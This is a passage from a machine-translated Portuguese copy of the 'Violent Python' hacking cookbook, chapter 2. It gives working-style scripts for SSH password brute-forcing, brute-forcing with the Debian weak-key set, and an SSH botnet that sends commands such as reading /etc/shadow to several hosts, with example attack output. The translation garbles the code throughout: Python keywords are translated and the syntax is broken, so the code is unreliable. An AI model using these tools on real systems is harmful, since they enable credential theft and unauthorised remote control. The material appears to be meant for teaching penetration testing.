TCP NULL SCAN­A varredura nulo define theTCP fl cabeçalho ag a zero. Se um RST é recebido, indica
a porta está fechada.
TCP FIN SCAN­A FIN Varredura TCP envia a FIN para derrubar uma conexão TCP ativa e
esperar por uma rescisão graciosa. Se um RST é recebido, ele indica que a porta é fechada.
TCP XMAS SCAN­uma varredura XMAS define os sinalizadores PSH, FIN, e URGTCP. Se um RST é recebido,
isso indica que a porta está fechada.

Com Python­Nmap instalado, agora podemos importar Nmap em scripts existentes
e executar o Nmap escaneia em linha com os seus scripts em Python. Criando um PortScan­
ner () classe de objeto irá permitir­nos a capacidade de executar uma varredura no objeto.
A classe PortScanner tem uma varredura function () que leva uma lista de destinos e portos
como entrada e realiza uma varredura básica Nmap. Além disso, agora podemos indexar o
objeto por hosts de destino e portas e imprimir o estado da porta. Os seguintes
seções irão ampliar esta capacidade de localizar e identificar alvos.
nmap importação
optparse importação
def nmapScan (tgtHost, tgtPort):
nmScan nmap.PortScanner = ()
nmScan.scan (tgtHost, tgtPort)
state = nmScan [tgtHost] [ 'tcp'] [int (tgtPort)] [ 'state']
print "[*]" + tgtHost + "tcp /" + tgtPort + "" + estado
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­H <Target host> ­p <porta de destino>')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ p', dest = 'tgtPort', type = 'string', \
help = 'especificar porta de destino [s] separados por vírgula')
(Opções, args) = parser.parse_args ()
tgtHost = options.tgtHost
tgtPorts = str (options.tgtPort) .Split ( ',')

41
Construir uma BotNet SSH com Python

if (tgtHost == None) | (tgtPorts [0] == None):
parser.usage de impressão
exit (0)
para tgtPort em tgtPorts:
nmapScan (tgtHost, tgtPort)
se __name__ == '__main__':
a Principal()

Correndo o nosso script que utiliza Nmap, notamos algo interessante sobre
porta TCP 1720. O servidor ou um rewall fi é realmente fi ltragem acesso à porta TCP
1720. A porta não é necessariamente fechado como pensávamos inicialmente. Usando um inteiro
fl gumes do scanner, como Nmap em vez de uma única conexão TCP varredura pudemos
para descobrir o fi ltro.
atacante: ~ # python nmapScan.py ­H 10.50.60.125 ­p 21, 1720
[*] 10.50.60.125 tcp / 21 aberto
[*] 10.50.60.125 TCP / 1720 filtrada

CONSTRUÇÃO DE UM BOTNET SSH com o Python
Agora que já construiu um scanner de porta para o FI alvos nd, podemos começar a
tarefa de explorar as vulnerabilidades de cada serviço. O Morris Worm inclui
forçando nomes de usuários e senhas contra o shell remoto comuns (RSH)
serviço como um dos seus três vetores de ataque. Em 1988, RSH proporcionou uma excelente
(Embora não muito seguro) método para um administrador de sistema remotamente
conectar a uma máquina e gerenciá­lo através da realização de uma série de com­ terminais
mandos no host. O protocolo (SSH) Secure Shell tem RSH entretanto substituída pela
combinando RSH com um esquema de criptografia de chave pública, a fim de garantir a
tráfego fi c. No entanto, isso faz muito pouco para parar o mesmo vetor de ataque, forçando
os nomes comuns dos usuários e senhas. SSH Worms provaram ser muito
vetores de ataque bem­sucedidas e comuns. Dê uma olhada na detecção de intrusão
sistema (IDS) para registrar o nosso próprio www.violentpython.org para um SSH recente
ataque. Aqui, o atacante tentou se conectar à máquina usando o
contas UCLA, oxford, e matriz. Estas são escolhas interessantes. Felizmente para nós,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 33/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
o IDS impediu novas tentativas de login SSH a partir do endereço IP atacando
depois de perceber a sua tendência para produzir forçosamente as senhas.
Recebido de: violentPython ­> / var / log / auth.log
Regra: 5712 despedido (nível 10) ­> "força bruta SSHD tentando obter acesso
para o sistema. "
Parte do log (s):
13 de outubro 23:30:30 violentPython sshd [10956]: UCLA usuário inválida do
67.228.3.58

42 CAPÍTULO 2: Os testes de penetração com o Python

13 de outubro 23:30:29 violentPython sshd [10954]: UCLA usuário inválida do
67.228.3.58
13 de outubro 23:30:29 violentPython sshd [10952]: Usuário inválido oxford de
67.228.3.58
13 de outubro 23:30:28 violentPython sshd [10950]: Usuário inválido oxford de
67.228.3.58
13 de outubro 23:30:28 violentPython sshd [10948]: Usuário inválido oxford de
67.228.3.58
13 de outubro 23:30:27 violentPython sshd [10946]: matriz de utilizador inválida do
67.228.3.58
13 de outubro 23:30:27 violentPython sshd [10944]: matriz de utilizador inválida do
67.228.3.58

Interagir com SSH Através Pexpect
Vamos implementar o nosso próprio Worm SSH automatizado que forças brutas creden­ usuário
ciais contra um alvo. Porque clientes SSH requer interação do usuário, nosso script
deve ser capaz de esperar e combinar para uma saída esperada antes de enviar mais
comandos de entrada. Considere o seguinte cenário. Para se conectar ao nosso
máquina de SSH no endereço IP, 127.0.0.1, o aplicativo primeiro nos pede para con fi rmar
o RSA chave fi impressão digital. Neste caso, devemos responder: "sim" antes de continuar.
Em seguida, a aplicação nos pede para digitar uma senha antes de conceder­nos uma com­
prompt de mando. Finalmente, nós executamos nosso ­v comando uname para determinar a
versão do kernel em execução no nosso alvo.
atacante root@127.0.0.1 $ ssh
A autenticidade de acolhimento »127.0.0.1 (127.0.0.1) 'não pode ser estabelecida.
RSA impressão digital da chave é 5b: bd: af: d6: 0C: af: 98: 1c: 1a: 82: 5c: fc: 5c: 39: A3: 68.
Tem certeza de que quer continuar a conexão (sim / não)? Sim
Aviso: Permanentemente acrescentado "127.0.0.1" (RSA) à lista de conhecidos
hosts.
Senha:**************
Último login: Seg 17 outubro 23:56:26 2011 a partir de localhost
atacante: ~ uname ­v
Darwin Kernel Versão 11.2.0: Tue 09 de agosto 20:54:00 PDT 2011;
root: xnu­1699.24.8 ~ 1 / RELEASE_X86_64

A fim de automatizar esse console interativo, vamos fazer uso de um terceiro
Módulo Python chamado Pexpect (disponível para download no http: // pexpect.
sourceforge.net).Pexpect tem a capacidade de interagir com os programas, assistir para
resultados esperados, e então responder com base em resultados esperados. Isto faz
­se uma excelente ferramenta de escolha para automatizar o processo de força bruta SSH
as credenciais do usuário.

43
Construir uma BotNet SSH com Python

Examine a função connect (). Esta função tem um nome de usuário, nome de host,
e senha e retorna uma conexão SSH resultando em uma SSH gerou
conexão. Utilizando a biblioteca pexpect, ele aguarda uma saída esperada.
Três possíveis resultados esperados podem ocorrer­um tempo limite, uma mensagem indicando
que o anfitrião tem uma nova chave pública, ou uma solicitação de senha. Se ocorrer um tempo limite,
em seguida, o método session.expect () retorna a zero. Após a selecção,
declaração percebe isso e imprime uma mensagem de erro antes de retornar. Se o
child.expect () método captura a mensagem ssh_newkey, ele retorna a 1. Este
força a função para enviar uma mensagem "sim" para aceitar a nova chave. Segue­
ing isso, a função aguarda a solicitação de senha antes de enviar o SSH
senha.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 34/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
pexpect importação
PROMPT = [ '#', '>>>', '>', '\ $']
def send_command (criança, cmd):
child.sendline (cmd)
child.expect (prompt)
child.before de impressão
def connect (usuário, host, senha):
ssh_newkey = 'Tem certeza de que quer continuar a conexão'
connstr = 'ssh' + usuário + '@' + acolhimento
child = pexpect.spawn (connstr)
RET = child.expect ([pexpect.TIMEOUT, ssh_newkey, \
"[P | p] assword: '])
Se ret == 0:
print '[­] Ligação erro'
Retorna
Se ret == 1:
child.sendline ( "sim")
RET = child.expect ([pexpect.TIMEOUT, \
"[P | p] assword: '])
Se ret == 0:
print '[­] Ligação erro'
Retorna
child.sendline (password)
child.expect (prompt)
criança de retorno

Uma vez autenticado, podemos agora utilizar um comando de função separada () para enviar
comandos para a sessão SSH. O comando function () leva uma sessão SSH

44 CAPÍTULO 2: Os testes de penetração com o Python

e a cadeia de comando como entrada. Em seguida, ele envia a cadeia de comando para a sessão
e espera que o prompt de comando. Depois de pegar o prompt de comando, ele
imprime essa saída da sessão SSH.

pexpect importação
PROMPT = [ '#', '>>>', '>', '\ $']
def send_command (criança, cmd):
child.sendline (cmd)
child.expect (prompt)
child.before de impressão

Envolvendo tudo juntos, agora temos um script que pode se conectar e con­
trolar a sessão SSH de forma interativa.
pexpect importação
PROMPT = [ '#', '>>>', '>', '\ $']
def send_command (criança, cmd):
child.sendline (cmd)
child.expect (prompt)
child.before de impressão
def connect (usuário, host, senha):
ssh_newkey = 'Tem certeza de que quer continuar a conexão'
connstr = 'ssh' + usuário + '@' + acolhimento
child = pexpect.spawn (connstr)
RET = child.expect ([pexpect.TIMEOUT, ssh_newkey, \
"[P | p] assword: '])
Se ret == 0:
print '[­] Ligação erro'
Retorna
Se ret == 1:
child.sendline ( "sim")
RET = child.expect ([pexpect.TIMEOUT, \
"[P | p] assword: '])
Se ret == 0:
print '[­] Ligação erro'
Retorna
child.sendline (password)
child.expect (prompt)
criança de retorno

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 35/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
def main ():

45
Construir uma BotNet SSH com Python

hospedar = 'localhost'
user = 'root'
password = 'toor'
criança = connect (usuário, host, password)
send_command (criança, 'cat / etc / shadow | raiz grep')
se __name__ == '__main__':
a Principal()

A execução do script, vemos que podemos conectar a um servidor SSH para controle remotamente
um hospedeiro. Enquanto corríamos o comando simples para exibir a senha de hash
para o usuário root de / etc / sombra fi le, poderíamos usar a ferramenta para algo
mais tortuoso como usar wget para baixar um kit de ferramentas de pós exploração. Você pode
iniciar um servidor SSH em Backtrack, gerando­chaves SSH e, em seguida, iniciar o
serviço de SSH. Tente iniciar o servidor SSH e se conectar a ele com o script.
atacante # sshd­geração
Gerando par público / privado rsa1 chave.
<.. Cortou ..>
atacante # ssh serviço de início
ssh start / execução, processo 4376
atacante sshCommand.py # python
cat / etc / shadow | raiz grep
root: $ 6 $ ms32yIGN $ NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S /
GaGGs5VCnqeC.bS0MzTf / EFS3uspQMNeepIAc:. 15503: 0: 99999: 7 :::

Ataques de força bruta SSH com Pxssh
Ao escrever o último roteiro realmente nos deu uma compreensão profunda da capacida­
laços de pexpect, podemos realmente simplificar o script anterior usando pxssh. É um Pxssh
roteiro especializada incluem a biblioteca pexpect. Ele contém a capacidade de directamente
interagir com sessões SSH com pré­de fi nidos métodos para login (), logout (),
prompt de (). Usando pxssh, podemos reduzir o nosso script anterior para o seguinte.
pxssh importação
def send_command (s, cmd):
s.sendline (cmd)
s.prompt ()
s.before de impressão
def conectar (host, usuário, senha):
experimentar:
s = pxssh.pxssh ()
s.login (host, usuário, senha)

46 CAPÍTULO 2: Os testes de penetração com o Python

retorno s
exceto:
print '[­] Ligação erro'
exit (0)
s = connect ( '127.0.0.1', 'root', 'toor')
send_command (s, 'cat / etc / shadow | raiz grep')

Nosso roteiro é quase completa. Nós temos somente algumas pequenas modi fi cações para
obter o script para automatizar a tarefa de força bruta credenciais SSH. De outros
do que adicionar alguma opção de análise para ler o nome de host, nome de usuário e
password fi le, a única coisa que precisamos fazer é ligeiramente modificar o connect ()
função. Se a função login () for bem­sucedido, sem exceção, vamos imprimir um
mensagem indicando que a senha é encontrado e atualizar um booleano mundial
indicando assim. Caso contrário, vamos capturar a exceção. Se o indi­ excepção
cates que a senha foi "recusada", sabemos que a senha falhou e nós
basta retornar. No entanto, se a exceção indica que a tomada é 'read_non­
bloqueio ', então vamos assumir o servidor SSH está no limite para o número
de conexões, e vamos dormir por alguns segundos antes de tentar novamente com
a mesma senha. Além disso, se a exceção indica que pxssh é hav­

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 36/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
ing dificuldade obtenção de um prompt de comando, vamos dormir por um segundo para
permitir que ele a fazê­lo. Nota que incluem uma versão booleana incluído no
Connect () argumentos da função. Desde connect () pode recursivamente chamar outro
connect (), nós só queremos o chamador para ser capaz de lançar nosso connection_lock
semáforo.
pxssh importação
optparse importação
tempo de importação
de rosca import *
MaxConnections = 5
connection_lock = BoundedSemaphore (value = MaxConnections)
Encontrado = False
Falha = 0
def conectar (host, usuário, senha, release):
Encontrado mundial
falha mundial
experimentar:
s = pxssh.pxssh ()
s.login (host, usuário, senha)
print '[+] senha Encontrado:' + senha
Encontrado = True

47
Construir uma BotNet SSH com Python

salvo exceção, e:
se 'read_nonblocking' em str (e):
Falha + = 1
time.sleep (5)
ligue (host, usuário, senha, False)
elif 'sincronizar com o prompt original "em str (e):
time.sleep (1)
ligue (host, usuário, senha, False)
finalmente:
Se release: connection_lock.release ()
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­H <Host­alvo> ­u <user> ­F <lista de senha>')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ F', dest = 'passwdFile', type = 'string', \
help = 'especificar arquivo de senha')
parser.add_option ( '­ u', dest = 'user', type = 'string', \
help = 'especificar o usuário')
(Opções, args) = parser.parse_args ()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
se o host == Nenhum ou passwdFile == None ou usuário == None:
parser.usage de impressão
exit (0)
fn = open (passwdFile, 'r')
para a linha em fn.readlines ():
Se for encontrado:
print "[*] Sair: Password encontrado"
exit (0)
Se falhar> 5:
print "Sair [!]: Too Many soquete Timeouts"
exit (0)
connection_lock.acquire ()
password = line.strip ( '\ r'). tira ( '\ n')
print "[­] Testing:" + str (password)
t = rosca (target = conectar, args = (host, usuário \

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 37/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
48 CAPÍTULO 2: Os testes de penetração com o Python

senha, True))
child = t.start ()
se __name__ == '__main__':
a Principal()

Tentando a força bruta senha SSH contra um dispositivo fornece a seguinte
resultados. É interessante notar a senha encontrada é "alpine". Este é o padrão
senha de root em dispositivos iPhone. No final de 2009, um verme SSH atacou jail­Bro­
iPhones Ken. Muitas vezes, quando jail­breaking o dispositivo, os usuários habilitados um OpenSSH
servidor no iPhone. Enquanto isso revelou­se extremamente útil para alguns, vários
os usuários não tinham conhecimento dessa nova capacidade. O worm ikee aproveitou esta
nova capacidade, tentando a senha padrão contra dispositivos. Os autores do
o worm não pretendia nenhum mal com o worm. Em vez disso, eles mudaram o
imagem de fundo do telefone para uma foto de Rick Astley com as palavras "ikee
Nunca vou desistir de você. "
atacante # python sshBrute.py ­H 10.10.1.36 ­u pass.txt ­F raiz
[­] Testing: 123456
[­] Testing: 12345
[­] Teste: 123456789
[­] Testing: password
[­] Teste: iloveyou
[­] Testing: Princesa
[­] Teste: 1234567
[­] Testing: alpine
[­] Testing: password1
[­] Testing: soccer
[­] Testing: anthony
[­] de teste: amigos
[+] Senha Encontrado: alpine
[­] Testing: borboleta
[*] Sair: Senha Encontrada

Explorando SSH Através chaves privadas fracos
Senhas proporcionar um método de autenticação para um servidor SSH, mas este é
não o único. Além disso, SSH fornece os meios para autenticar usando
criptografia de chave pública. Neste cenário, o servidor sabe a chave pública e
o usuário sabe a chave privada. Usando qualquer RSA ou DSA algoritmos, o servidor
produz estas teclas para entrar em SSH. Tipicamente, esta fornece uma excelente
método para autenticação. Com a capacidade para gerar 1024 bits, 2048 bits, ou

49
Construir uma BotNet SSH com Python

chaves de 4096 bits, este processo de autenticação faz com que seja difícil de usar a força bruta
como fizemos com senhas fracas.
No entanto, em 2006, algo interessante aconteceu com o Debian Linux Dis­
tribuição. Um desenvolvedor comentou sobre uma linha de código encontrado por um automatizado
software kit de ferramentas de análise. A linha de código específico assegurada entropia no cria­
ção de chaves SSH. Ao comentar sobre a linha de código específico, o tamanho do
espaço da chave pesquisadas caiu para 15­bits de entropia (Ahmad, 2008). Sem
apenas 15 bits de entropia, isso significava apenas 32.767 chaves existia para cada algoritmo
e tamanho. HD Moore, CSO e Chief Architect na Rapid7, gerado toda a
Chaves de 1024 bits e 2048 bits em menos de duas horas (Moore, 2008). Além disso, ele
tornando­os disponíveis para download em: http://digitaloffense.net/tools/debian­
openssl /.Você pode baixar os de 1024 bits chaves para começar. Depois de baixar
e extrair as chaves, vá em frente e elimine as chaves públicas, uma vez que só irá
preciso das chaves privadas para testar a nossa conexão.

atacante # wget http://digitaloffense.net/tools/debian­openssl/debian_
ssh_dsa_1024_x86.tar.bz2
­­2012­06­30 22: 06: 32 ­ http: //digitaloffense.net/tools/debian­openssl/
debian_ssh_dsa_1024_x86.tar.bz2
Resolver digitaloffense.net ... 184.154.42.196, 2001: 470: 1F10: 200 :: 2
Ligar a digitaloffense.net | 184.154.42.196 |: 80 ... conectado.
solicitação HTTP enviada, aguardando resposta ... 200 OK
Duração: 30493326 (29M) [application / x­bzip2]
Salvando em: 'debian_ssh_dsa_1024_x86.tar.bz2'
100% [ =============================================== ===

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 38/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
] 30,493,326 496K / s em 74s
================================================== = >
2012­06­30 22:07:47 (400 KB / s) ­ 'debian_ssh_dsa_1024_x86.tar.bz2'
salvo [30493326/30493326]
atacante # bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
debian_ssh_dsa_1024_x86.tar atacante # tar ­xf
atacante # cd dsa / 1024 /
atacante # ls
00005b35764e0b2401a9dcbca5b6b6b5­1390
00005b35764e0b2401a9dcbca5b6b6b5­1390.pub
00058ed68259e603986db2af4eca3d59­30286
00058ed68259e603986db2af4eca3d59­30286.pub
0008b2c4246b6d4acfd0b0778b76c353­29645
0008b2c4246b6d4acfd0b0778b76c353­29645.pub
000b168ba54c7c9c6523a22d9ebcad6f­18228

50 CAPÍTULO 2: Os testes de penetração com o Python

000b168ba54c7c9c6523a22d9ebcad6f­18228.pub
000b69f08565ae3ec30febde740ddeb7­6849
000b69f08565ae3ec30febde740ddeb7­6849.pub
000e2b9787661464fdccc6f1f4dba436­11263
000e2b9787661464fdccc6f1f4dba436­11263.pub
<.. Cortou ..>
atacante # rm ­rf dsa / 1024 / *. pub
Este erro durou 2 anos antes de ser descoberto por um pesquisador de segurança.
Como resultado, é correto afirmar que muito poucos servidores foram construídos com uma
serviço de SSH enfraquecida. Seria bom se pudéssemos construir uma ferramenta para explorar essa
vulnerabilidade. No entanto, com o acesso ao espaço da chave, é possível escrever um
script Python pequeno a força bruta através de cada uma das chaves 32.767, a fim de
autenticar em um servidor SSH sem senha que depende de um criptográfico de chave pública
gráfico. Na verdade, a equipe Warcat escreveu um script e postou a milw0rm
Poucos dias depois da descoberta de vulnerabilidades. Exploit­DB arquivado a Equipe Warcat
script em: . http://www.exploit­db.com/exploits/5720/ No entanto, vamos escrever a nossa
próprio script utilizando a mesma biblioteca pexpect estamos habituados a força bruta através de
autenticação de senha.
O script para testar chaves fracas prova quase muito semelhante à nossa força bruta­passe
autenticação de palavra. Para autenticar SSH com uma chave, é preciso digitar ssh
user @ host ­i fi chave le ­o PasswordAuthentication = nenhum . Para o seguinte roteiro, nós
loop através do conjunto de chaves geradas e tentar uma conexão. Se o con­
ligação for bem sucedida, nós imprimimos o nome do fi chave le para a tela. Além disso,
vamos usar duas variáveis ​globais Pare e falha. Falha irá manter a contagem do

número de conexão falhou tivemos devido ao host remoto fechando a
conexão. Se esse número for maior que 5, vamos encerrar nosso script. Se a nossa
varredura provocou um IPS remotos que impede a nossa conexão, não há nenhum sentido
continuando. Nossa variável global Stop é um booleano que nos permite saber que nós
ter um encontrado uma chave e a função main () não precisa de iniciar qualquer novo
roscas de ligação.
pexpect importação
optparse importação
import os
de rosca import *
MaxConnections = 5
connection_lock = BoundedSemaphore (value = MaxConnections)
Pare = False
Falha = 0
def connect (usuário, host, keyfile, release):
Parar mundial

51
Construir uma BotNet SSH com Python

falha mundial
experimentar:
perm_denied = "Permissão negada"

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 39/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
ssh_newkey = "Tem certeza de que deseja continuar '
'Conexão fechada pelo host remoto' = conn_closed
opt = '­o PasswordAuthentication = no'
connstr = 'ssh' + usuário + \
'@' + Host + '­i' + keyfile + opt
child = pexpect.spawn (connstr)
RET = child.expect ([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
Se ret == 2:
print '[­] Adicionando o responsável para ~ /.ssh/known_hosts'
child.sendline ( "sim")
connect (usuário, host, keyfile, False)
elif ret == 3:
print '[­] Conexão fechada pelo host remoto "
Falha + = 1
elif ret> 3:
print '[+] Sucesso. '+ Str (keyfile)
Pare = True
finalmente:
Se release:
connection_lock.release ()
def main ():
parser = optparse.OptionParser ( 'uso% prog­H' + \
'<Target host> ­u <user> ­d <diretório>')
parser.add_option ( '­ H', dest = 'tgtHost', type = 'string', \
help = 'especificar host de destino')
parser.add_option ( '­ d', dest = 'passDir', type = 'string', \
help = 'especificar o diretório com as teclas')
parser.add_option ( '­ u', dest = 'user', type = 'string', \
help = 'especificar o usuário')
(Opções, args) = parser.parse_args ()
host = options.tgtHost
passDir = options.passDir
user = options.user
se o host == Nenhum ou passDir == None ou usuário == None:

52 CAPÍTULO 2: Os testes de penetração com o Python

parser.usage de impressão
exit (0)
para filename em os.listdir (passDir):
Se Stop:
print '[*] Sair: Key Found. "
exit (0)
Se falhar> 5:
print 'Sair [!]:' + \
"Muitas conexões fechada pelo host remoto.
print '[!] Ajuste número de threads simultâneos.
exit (0)
connection_lock.acquire ()
fullpath = os.path.join (passDir, filename)
print '[­] Testing keyfile' + str (fullpath)
t = Thread (target = conectar, \
args = (usuário, anfitrião, fullpath, True))
child = t.start ()
se __name__ == '__main__':
a Principal()

Testando isso contra um alvo, vemos que podemos ter acesso a um sis­ vulneráveis
TEM. Se as chaves de 1024 bits não funcionam, tente baixar as teclas de 2048, bem
e utilizá­los.

atacante # python bruteKey.py ­H 10.10.13.37 u ­d raiz dsa / 1024
[­] Testando tmp keyfile / 002cc1e7910d61712c1aa07d4a609e7d­16764
[­] Testando keyfile tmp / 003d39d173e0ea7ffa7cbcdd9c684375­31965
[­] Testando keyfile tmp / 003e7c5039c07257052051962c6b77a0­9911
[­] Testando tmp keyfile / 002ee4b916d80ccc7002938e1ecee19e­7997
[­] Testando tmp keyfile / 00360c749f33ebbf5a05defe803d816a­31361
<.. Cortou ..>

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 40/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[­] Testando keyfile tmp / 002dcb29411aac8087bcfde2b6d2d176­27637
[­] Testando keyfile tmp / 002a7ec8d678e30ac9961bb7c14eb4e4­27909
[­] Testando keyfile tmp / 002401393933ce284398af5b97d42fb5­6059
[­] Testando tmp keyfile / 003e792d192912b4504c61ae7f3feb6f­30448
[­] Testando keyfile tmp / 003add04ad7a6de6cb1ac3608a7cc587­29168
[+] Sucesso. tmp / 002dcb29411aac8087bcfde2b6d2d176­27637
[­] Testando tmp keyfile / 003796063673f0b7feac213b265753ea­13516
[*] Sair: Key Found.

53
Construir uma BotNet SSH com Python

Construindo o SSH Botnet
Agora que nós demonstramos que podemos controlar um host via SSH, vamos expandir
­lo para controlar vários hosts simultaneamente. Os invasores costumam usar coleções de
computadores comprometidos para fins maliciosos. Chamamos isso de uma botnet, porque
os computadores comprometidos agir como robôs para executar instruções.
Para construir a nossa botnet, teremos de introduzir um novo conceito da
uma aula. O conceito de uma classe serve como a base para um modelo de programação
nomeado, programação orientada a objeto. Neste sistema, instanciamos indivíduo
objetos com os métodos associados. Para o nosso botnet, cada bot indivíduo ou cliente
exigirá a capacidade de conectar e emitir um comando.

optparse importação
pxssh importação
classe Cliente:
def __init __ (self, de acolhimento, de usuário, senha):
self.host = acolhimento
self.user = usuário
self.password = senha
self.session = self.connect ()
def connect (self):
experimentar:
s = pxssh.pxssh ()
s.login (self.host, self.user, self.password)
retorno s
salvo exceção, e:
de impressão e
print '[­] Ligação erro'
def send_command (self, cmd):
self.session.sendline (cmd)
self.session.prompt ()
self.session.before retorno

Examine o código para produzir o objeto de classe do cliente (). Para construir o cliente
requer o nome do host, nome de usuário e senha ou chave. Além disso, a classe
contém os métodos necessários para manter uma client­connect (), send_com­
mand (), vivo (). Note que quando referenciar uma variável pertencente a uma classe,
chamamos isso de auto­seguido pelo nome da variável. Para construir o botnet, nós construímos
uma matriz global chamada botnet e essa matriz contém o cliente individual
objectos. Em seguida, vamos construir uma função chamada AddClient () que leva um host, usuário,

54 CAPÍTULO 2: Os testes de penetração com o Python

DAS TRINCHEIRAS
A Botnet Voluntário
O grupo de hackers, Anonymous, emprega rotineiramente o uso de uma botnet voluntária contra a sua
adversários. Nesta capacidade, o grupo de hackers pede aos seus membros para baixar uma ferramenta conhecida como
Loic (LOIC). Como um coletivo, os membros do Anonymous lançar um distribuídos
ataque botnet contra sites que considerem adversaries.While indiscutivelmente ilegal, os atos de theAnony­
grupo mous ter tido alguns sucessos notáveis ​
e  moralmente vitorioso. Numa operação recente,

Operação #Darknet, Anonymous usou sua botnet voluntária sobrecarregar os recursos de hospedagem
de um site dedicado a distribuição de pornografia infantil.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 41/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

e senha como entrada para instancia um objeto cliente e adicioná­lo à botnet
array. Em seguida, a função botnetCommand () recebe um argumento de um comando.
Esta função percorre toda a matriz e envia o comando para cada
cliente na matriz botnet.
optparse importação
pxssh importação
classe Cliente:
def __init __ (self, de acolhimento, de usuário, senha):
self.host = acolhimento
self.user = usuário
self.password = senha
self.session = self.connect ()
def connect (self):
experimentar:
s = pxssh.pxssh ()
s.login (self.host, self.user, self.password)
retorno s
salvo exceção, e:
de impressão e
print '[­] Ligação erro'
def send_command (self, cmd):
self.session.sendline (cmd)
self.session.prompt ()
self.session.before retorno
def botnetCommand (comando):
para o cliente em botnet:
output = client.send_command (comando)

55
Construir uma BotNet SSH com Python

print '[*] A saída do' + client.host
print '[+]' + saída + '\ n'
def AddClient (host, usuário, senha):
client = Cliente (host, usuário, senha)
botNet.append (cliente)
botnet = []
AddClient ('10 .10.10.110 ',' root ',' toor ')
AddClient ('10 .10.10.120 ',' root ',' toor ')
AddClient ('10 .10.10.130 ',' root ',' toor ')
botnetCommand ( '­v uname')
botnetCommand ( 'cat / etc / issue')
Enrolando tudo, temos o nosso roteiro SSH botnet fi nal. Isto prova
um excelente método para objectivos de controle de massa. Para testar, fazemos três COP
s da nossa máquina virtual atual Backtrack 5 e atribuir. Vemos que pudermos a
roteiro percorrer estas três hospedeiros e emitir comandos simultâneos
para cada uma das vítimas. Enquanto o script de criação SSH Botnet atacou servidores
diretamente, a próxima seção vai se concentrar em um vetor de ataque indireto ao alvo cli­
entos através de servidores vulneráveis ​e uma abordagem alternativa para a construção de uma massa

infecção.
atacante: ~ # python botNet.py
[*] A saída do 10.10.10.110
[+] Uname ­v
# 1 SMP Fri 17 de fevereiro 10:34:20 EST 2012
[*] A saída do 10.10.10.120
[+] Uname ­v
# 1 SMP Fri 17 de fevereiro 10:34:20 EST 2012
[*] A saída do 10.10.10.130
[+] Uname ­v
# 1 SMP Fri 17 de fevereiro 10:34:20 EST 2012
[*] A saída do 10.10.10.110
[+] Cat / etc / issue
BackTrack 5 R2 ­ Código Nome Revolução de 64 bits \ n \ l
[*] A saída do 10.10.10.120
[+] Cat / etc / issue
BackTrack 5 R2 ­ Código Nome Revolução de 64 bits \ n \ l
[*] A saída do 10.10.10.130
[+] Cat / etc / issue

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 42/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
BackTrack 5 R2 ­ Código Nome Revolução de 64 bits \ n \ l

56 CAPÍTULO 2: Os testes de penetração com o Python

COMPROMISSO DE MASSA POR FTP ponte e WEB
Em um recente compromisso enorme, k985ytv apelidado, os atacantes utilizado Anônimos
credenciais FTP mous e roubados para ter acesso a 22.400 domínios únicos
e 536.000 páginas infectadas (Huang, 2011). Com acesso concedido, o Attack­
